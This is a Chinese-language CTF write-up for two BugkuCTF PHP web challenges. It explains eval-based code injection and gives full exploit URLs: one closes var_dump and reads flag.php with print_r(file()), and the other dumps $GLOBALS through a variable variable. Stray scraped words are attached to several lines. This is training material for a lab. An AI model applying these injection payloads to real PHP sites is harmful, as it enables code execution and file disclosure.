BugkuCTF web writeup

本地包含

題目信息

clipboard.png

地址:http://123.206.87.240:8003/php

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

知識基礎

涉及到的幾個函數:
1.$_REQUEST: 能夠獲取以POST方法和GET方法提交的數據,可是速度比較慢 html

2.eval: 把字符串按照 PHP 代碼來計算,該字符串必須是合法的 PHP 代碼,且必須以分號結尾。正則表達式

<?php
eval("echo'hello';echo' world';");
?>
# output
hello world

3.var_dump: 函數用於輸出變量的相關信息函數

# 數字
var_dump(1); > int(1)
# 字符串
var_dump("string"); >  string(6) "string"

解題思路

eval應該是此題的突破口,可以執行php代碼。
hello是接受參數的變量,接下來就是構建hello變量,使其可以閉合var_dump,利用print_r輸出url

首先閉合var_dump: 1)";
第二步構建print_r:print_r(file("./flag.php"));spa

URL構建結束:
http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php").net

構建的URL觸發的 eval操做爲
eval("var_dump(1);print_r(file("./flag.php")")code

成功輸出 flag.php 文件內容htm

clipboard.png

參考資源

1.echo(),print(),print_r()之間的區別?
2.PHP file() 函數ip

變量1

題目信息

clipboard.png

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

知識基礎

isset: 用於檢測變量是否已設置而且非 NULL。
prep_match: 用於執行一個正則表達式匹配。

解題思路

flag In the variable ! 提示 flag 在變量中

根據!preg_match("/^\w+$/",$args)得知,arg只能是任意字母,數字,下劃線,漢字的字符組成

eval("var_dump($$args);"); 使$GLOBALS變量被輸出便可

clipboard.png

url: http://123.206.87.240:8004/index1.php?args=GLOBALS

參考資源

PHP 變量

相關文章
相關標籤/搜索